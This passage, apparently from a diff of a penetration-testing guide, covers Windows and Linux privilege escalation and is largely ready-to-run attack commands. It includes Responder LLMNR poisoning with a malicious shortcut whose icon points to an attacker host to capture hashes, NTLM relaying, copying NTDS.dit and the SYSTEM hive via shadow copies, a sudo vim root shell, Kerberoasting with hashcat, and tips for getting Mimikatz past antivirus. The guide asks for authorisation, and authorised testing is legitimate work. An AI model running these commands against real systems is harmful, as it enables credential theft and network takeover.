#### LLMNR Poisoning
|
|
220
|
+
|
|
221
|
+
```bash
|
|
222
|
+
# Start Responder
|
|
223
|
+
responder -I eth1 -v
|
|
224
|
+
|
|
225
|
+
# Create malicious shortcut (Book.url)
|
|
226
|
+
[InternetShortcut]
|
|
227
|
+
URL=https://facebook.com
|
|
228
|
+
IconIndex=0
|
|
229
|
+
IconFile=\\attacker_ip\not_found.ico
|
|
230
|
+
```
|
|
231
|
+
|
|
232
|
+
#### NTLM Relay
|
|
233
|
+
|
|
234
|
+
```bash
|
|
235
|
+
responder -I eth1 -v
|
|
236
|
+
ntlmrelayx.py -tf targets.txt -smb2support
|
|
237
|
+
```
|
|
238
|
+
|
|
239
|
+
#### Dumping with VSS
|
|
240
|
+
|
|
241
|
+
```powershell
|
|
242
|
+
vssadmin create shadow /for=C:
|
|
243
|
+
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
|
|
244
|
+
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\
|
|
245
|
+
```
|
|
246
|
+
|
|
247
|
+
---
|
|
248
|
+
|
|
249
|
+
## Quick Reference
|
|
250
|
+
|
|
251
|
+
| Technique | OS | Domain Required | Tool |
|
|
252
|
+
|-----------|-----|-----------------|------|
|
|
253
|
+
| Sudo Binary Abuse | Linux | No | GTFOBins |
|
|
254
|
+
| Cron Job Exploit | Linux | No | Manual |
|
|
255
|
+
| Capability Abuse | Linux | No | getcap |
|
|
256
|
+
| NFS no_root_squash | Linux | No | mount |
|
|
257
|
+
| Token Impersonation | Windows | No | SweetPotato |
|
|
258
|
+
| Service Abuse | Windows | No | PowerUp |
|
|
259
|
+
| Kerberoasting | Windows | Yes | Rubeus/Impacket |
|
|
260
|
+
| AS-REP Roasting | Windows | Yes | Rubeus |
|
|
261
|
+
| Golden Ticket | Windows | Yes | Mimikatz |
|
|
262
|
+
| Pass-the-Ticket | Windows | Yes | Rubeus |
|
|
263
|
+
| DCSync | Windows | Yes | Mimikatz |
|
|
264
|
+
| LLMNR Poisoning | Windows | Yes | Responder |
|
|
265
|
+
|
|
266
|
+
---
|
|
267
|
+
|
|
268
|
+
## Constraints
|
|
269
|
+
|
|
270
|
+
**Must:**
|
|
271
|
+
- Have initial shell access before attempting escalation
|
|
272
|
+
- Verify target OS and environment before selecting technique
|
|
273
|
+
- Use appropriate tool for domain vs local escalation
|
|
274
|
+
|
|
275
|
+
**Must Not:**
|
|
276
|
+
- Attempt techniques on production systems without authorization
|
|
277
|
+
- Leave persistence mechanisms without client approval
|
|
278
|
+
- Ignore detection mechanisms (EDR, SIEM)
|
|
279
|
+
|
|
280
|
+
**Should:**
|
|
281
|
+
- Enumerate thoroughly before exploitation
|
|
282
|
+
- Document all successful escalation paths
|
|
283
|
+
- Clean up artifacts after engagement
|
|
284
|
+
|
|
285
|
+
---
|
|
286
|
+
|
|
287
|
+
## Examples
|
|
288
|
+
|
|
289
|
+
### Example 1: Linux Sudo to Root
|
|
290
|
+
|
|
291
|
+
```bash
|
|
292
|
+
# Check sudo permissions
|
|
293
|
+
$ sudo -l
|
|
294
|
+
User www-data may run the following commands:
|
|
295
|
+
(root) NOPASSWD: /usr/bin/vim
|
|
296
|
+
|
|
297
|
+
# Exploit vim
|
|
298
|
+
$ sudo vim -c ':!/bin/bash'
|
|
299
|
+
root@target:~# id
|
|
300
|
+
uid=0(root) gid=0(root) groups=0(root)
|
|
301
|
+
```
|
|
302
|
+
|
|
303
|
+
### Example 2: Windows Kerberoasting
|
|
304
|
+
|
|
305
|
+
```bash
|
|
306
|
+
# Request service tickets
|
|
307
|
+
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
|
|
308
|
+
|
|
309
|
+
# Crack with hashcat
|
|
310
|
+
$ hashcat -m 13100 hashes.txt rockyou.txt
|
|
311
|
+
```
|
|
312
|
+
|
|
313
|
+
---
|
|
314
|
+
|
|
315
|
+
## Troubleshooting
|
|
316
|
+
|
|
317
|
+
| Issue | Solution |
|
|
318
|
+
|-------|----------|
|
|
319
|
+
| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |
|
|
320
|
+
| Mimikatz blocked by AV | Use Invoke-Mimikatz or SafetyKatz |
|
|
321
|
+
| Kerberoasting returns no hashes | Check for service accounts with SPNs |
|
|
322
|
+
| Token impersonation fails | Verify SeImpersonatePrivilege is present |
|
|
323
|
+
| NFS mount fails | Check NFS version compatibility (vers=2,3,4) |
|
|
324
|
+
|
|
325
|
+
---
|
|
326
|
+
|
|
327
|
+
## Additional Resources
|
|
328
|
+
|
|
329
|
+
For detailed enumeration scripts, use:
|
|
330
|
+
- **LinPEAS**: Linux privilege escalation enumeration
|
|
331
|
+
- **WinPEAS**: Windows privilege escalation enumeration
|
|
332
|
+
- **BloodHound**: Active Directory attack path mapping
|
|
333
|
+
- **GTFOBins**: Unix binary exploitation reference
|